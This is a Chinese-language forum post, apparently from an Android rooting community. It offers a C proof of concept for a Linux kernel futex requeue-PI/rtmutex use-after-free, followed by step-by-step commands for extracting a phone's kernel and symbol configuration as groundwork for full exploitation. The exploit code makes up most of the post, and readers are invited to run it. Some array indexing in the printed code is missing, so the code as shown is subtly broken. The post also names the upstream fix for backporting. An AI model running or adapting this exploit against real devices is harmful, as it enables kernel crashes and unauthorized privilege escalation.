|
|
本帖最后由 winpefk 于 2026-7-12 19:23 编辑
这个已经披露, 目前我没有在lineageos23.3的github源码上看到补丁痕迹, 估计最快也得本月合入
以下是poc:
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/futex.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <time.h>
#include <unistd.h>
uint32_t f_wait;
uint32_t f_pi_target;
uint32_t f_pi_chain;
volatile int a_ready;
volatile int a_tid;
volatile int a_waiting;
volatile int b_started;
volatile int consume;
volatile int stamp_ready;
void futex_pi_lock(uint32_t *uaddr) {
syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
}
void futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2, struct timespec *ts) {
syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts, uaddr2, 0);
}
void futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) {
syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0);
}
void futex_wait_int(volatile int *uaddr, int val) {
syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, val, 0, 0, 0);
}
void futex_wake_int(volatile int *uaddr) {
syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, 0, 0, 0);
}
void wait_change(volatile int *uaddr, int val) {
while (*uaddr == val) futex_wait_int(uaddr, val);
}
void fill(uint64_t *buf) {
for (int i = 0; i < 64; i++)
buf = 0xdeadbee11c518f58ULL + i * 8;
}
void stamp_socket(uint64_t *buf) {
int fd = socket(AF_INET6, SOCK_DGRAM, 0);
setsockopt(fd, IPPROTO_IPV6, MCAST_JOIN_SOURCE_GROUP, buf, sizeof(struct group_source_req));
close(fd);
}
void stamp_pselect(uint64_t *buf) {
struct timespec ts = {};
syscall(SYS_pselect6, 256, buf, buf + 16, buf + 32, &ts, 0);
}
void stamp_tcp(uint64_t *buf) {
socklen_t len = 128;
int fd = socket(AF_INET, SOCK_STREAM, 0);
syscall(SYS_getsockopt, fd, IPPROTO_TCP, TCP_ZEROCOPY_RECEIVE, buf, &len);
close(fd);
}
void stamp_process_vm(uint64_t *buf) {
struct iovec iov[8];
for (int i = 0; i < 8; i++) {
iov.iov_base = (void *)(buf + 0x1000);
iov.iov_len = 8;
}
syscall(SYS_process_vm_readv, syscall(SYS_getpid), iov, 8, iov, 8, 0);
syscall(SYS_process_vm_writev, syscall(SYS_getpid), iov, 8, iov, 8, 0);
}
void stamp_keyctl(uint64_t *buf) {
struct iovec iov[8];
for (int i = 0; i < 8; i++) {
iov.iov_base = (void *)(buf + 0x2000);
iov.iov_len = 8;
}
syscall(SYS_keyctl, KEYCTL_DH_COMPUTE, buf, buf, 64, 0);
syscall(SYS_keyctl, KEYCTL_INSTANTIATE_IOV, -1, iov, 8, 0);
}
void stamp_fd(uint64_t *buf) {
int fd = syscall(SYS_timerfd_create, CLOCK_MONOTONIC, 0);
int dup = syscall(SYS_fcntl, fd, F_DUPFD, 32);
#ifdef SYS_dup2
syscall(SYS_dup2, fd, 31);
#else
syscall(SYS_dup3, fd, 31, 0);
#endif
close(dup);
close(31);
close(fd);
}
void stamp_futex(uint64_t *buf) {
struct timespec ts = {};
uint32_t a = 0;
uint32_t b = 0;
syscall(SYS_futex, &a, FUTEX_LOCK_PI, 0, 0, 0, 0);
syscall(SYS_futex, &a, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
syscall(SYS_futex, &a, FUTEX_WAIT_REQUEUE_PI, 0, &ts, &b, 0);
syscall(SYS_futex, &a, FUTEX_CMP_REQUEUE_PI, 1, 1, &b, 0);
}
void stamp_lanes(uint64_t *buf) {
fill(buf);
// Note that this is only one possible way to control the stack UAF (to get an observable crash)
// There are several unpriveleged, default avaliable way to control the kernel stack, so this bug is
// competely not revelent whether the following setsockopt is accessable or not.
stamp_socket(buf);
stamp_pselect(buf);
stamp_process_vm(buf);
stamp_tcp(buf);
stamp_keyctl(buf);
stamp_fd(buf);
stamp_futex(buf);
}
void stamp(void) {
uint64_t buf[64];
stamp_lanes(buf);
stamp_ready = 1;
futex_wake_int(&stamp_ready);
for (int i = 0; i < 100; i++)
stamp_lanes(buf);
}
void *waiter() {
struct timespec ts;
a_tid = syscall(SYS_gettid);
futex_pi_lock(&f_pi_chain);
a_ready = 1;
usleep(200000);
clock_gettime(CLOCK_MONOTONIC, &ts);
ts.tv_sec++;
a_waiting = 1;
futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
consume = 1;
futex_wake_int(&consume);
stamp();
for (;;);
}
void *owner() {
futex_pi_lock(&f_pi_target);
while (!a_ready);
b_started = 1;
futex_pi_lock(&f_pi_chain);
for (;;);
}
void *consumer() {
struct sched_attr attr = {
.size = sizeof(attr),
.sched_policy = 3,
.sched_nice = 19,
};
int tid;
while (!(tid = a_tid));
wait_change(&consume, 0);
wait_change(&stamp_ready, 0);
syscall(SYS_sched_setattr, tid, &attr, 0);
for (;;);
}
void run(void) {
pthread_t th;
pthread_create(&th, 0, owner, 0);
pthread_create(&th, 0, consumer, 0);
pthread_create(&th, 0, waiter, 0);
while (!a_waiting || !b_started);
usleep(200000);
futex_cmp_requeue_pi(&f_wait, &f_pi_target);
for (;;);
}
void init(void) __attribute__((constructor));
void init(void) {
run();
}
int main(void) {
run();
}
在termux下编译运行, 如果你的机器突然卡死没有响应, 那么说明漏洞存在
测试机器, 小米 pad 6 (pipa) 4.19内核, selinux enforcing.
影响范围 linux 2.6 - 7.0 (含)
如需利用此漏洞,需手工定位内核基地址,并从内核提取kallsyms (内核来源可以是官方ota包)
这个提取待我试一试
实现攻击难度比较大, 但各位可以拿自己家一些废旧机器试一试
如果你机器已经使用正规途径root,假如无法得到ota包时, 最好给内核打补丁, 可以搜索这个patch
rtmutex: Use waiter::task instead of current in remove_waiter()
remove_waiter() is used by the slowlock paths, but it is also used for proxy-lock rollback in rt_mutex_start_proxy_lock() when invoked from futex_requeue().
In the latter case waiter::task is not current, but remove_waiter() operates on current for the dequeue operation.
That results in several problems:
1) the rbtree dequeue happens without waiter::task::pi_lock being held
2) the waiter task's pi_blocked_on state is not cleared, which leaves a dangling pointer primed for UAF around.
3) rt_mutex_adjust_prio_chain() operates on the wrong top priority waiter task Use waiter::task instead of current in all related operations in remove_waiter() to cure those problems.
[ tglx: Fixup rt_mutex_adjust_prio_chain(), add a comment and amend the changelog ]
Fixes: 8161239a8bcc ("rtmutex: Simplify PI algorithm and make highest prio task get lock")
然后手工backport
找基地址的部分我随后更新
第一步: 找到你对应机器的ota包, 用payload-dumper解包出boot.img
复制到手机 /sdcard/Download 目录
第二步: 下载一个magisk.apk到手机, 把后缀改为.zip, 找到lib/arm64/libmagiskboot.so,解压出来到/sdcard/Download
termux内运行:
cp /sdcard/Download/boot.img .
cp /sdcard/Download/libmagiskboot.so .
chmod +x libmagiskboot.so
第三步: 解包 boot.img, 拿出内核
mkdir temp
cd temp
../libmagiskboot.so unpack ../boot.img
现在, 在当前文件夹下的kernel就是我们需要的了.
第四步
apt update && apt install binwalk -y
binwalk kernel
理论上会有类似的提示:
binwalk pipa-zimage
/data/data/com.termux/files/home/temp/kernel
--------------------------------------------------------------------------------
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
242240 0x3B240 SHA256
hash
constants,
little
endian
24670208 0x1787000 ELF
binary,
64-bit
shared
object,
ARM
64-bit
for
System-V
(Unix),
little
endian
24677072 0x1788AD0 SHA256
hash
constants,
little
endian
24677504 0x1788C80 AES S-Box
24677760 0x1788D80 AES S-Box
24678080 0x1788EC0 AES S-Box
24692736 0x178C800 gzip
compressed
data,
operating
system:
Unix,
timestamp:
1970-01-01
00:00:00,
total
size:
76793
bytes
24769832 0x179F528 XZ
compressed
data,
total
size:
3420556
bytes
28382080 0x1B11380 CRC32
polynomial
table,
little
endian
35802038 0x2224BB6 Copyright
text:
"Copyright
2005-2007
Rodolfo
Giometti
<giometti@linux.it>
"
36012159 0x225807F Copyright
text:
"Copyright(c)
Pierre
Ossman "
39901146 0x260D7DA JBOOT
STAG
header,
system
upgrade
image,
header
size: 16
bytes,
kernel
data
size:
589827
bytes
39930342 0x26149E6 JBOOT
STAG
header,
system
upgrade
image,
header
size: 16
bytes,
kernel
data
size:
720899
bytes
40267560 0x2666F28 CPIO
ASCII
archive,
file
count: 3
--------------------------------------------------------------------------------
Analyzed 1 file for 85 file signatures (187 magic patterns) in 324.0 milliseconds
这个提示是彩色文本的, 十分大气😅
然后找到这两行:
24692736 0x178C800 gzip
compressed
data,
operating
system:
Unix,
timestamp:
1970-01-01
00:00:00,
total
size:
76793
bytes
24769832 0x179F528 XZ
compressed
data,
total
size:
3420556
bytes
存在两个整数: 24769832 24692736
按计算器相减, 拿到77096
于是dd if=./kernel of=./tmp.gz bs=1 skip=24692736 (提示gzip的那个行第一排的数字) count=77096
zcat tmp.gz|grep KALLSYMS
如果是这样
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_KALLSYMS_BASE_RELATIVE=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_KALLSYMS_BASE_RELATIVE=y
gzip: tmp.gz: decompression OK, trailing garbage ignored
继续看下去 (听下回分解)
否则就洗洗睡了
如果含有RANDOM_BASE, 后面带y的, 也别看了
参考 https://www.52pojie.cn/thread-2116758-1-1.html
不过得知道, 他文章里面机器有root, 读取这些信息很方便, 我们暂时拿不到, 这就得努力了.
|
|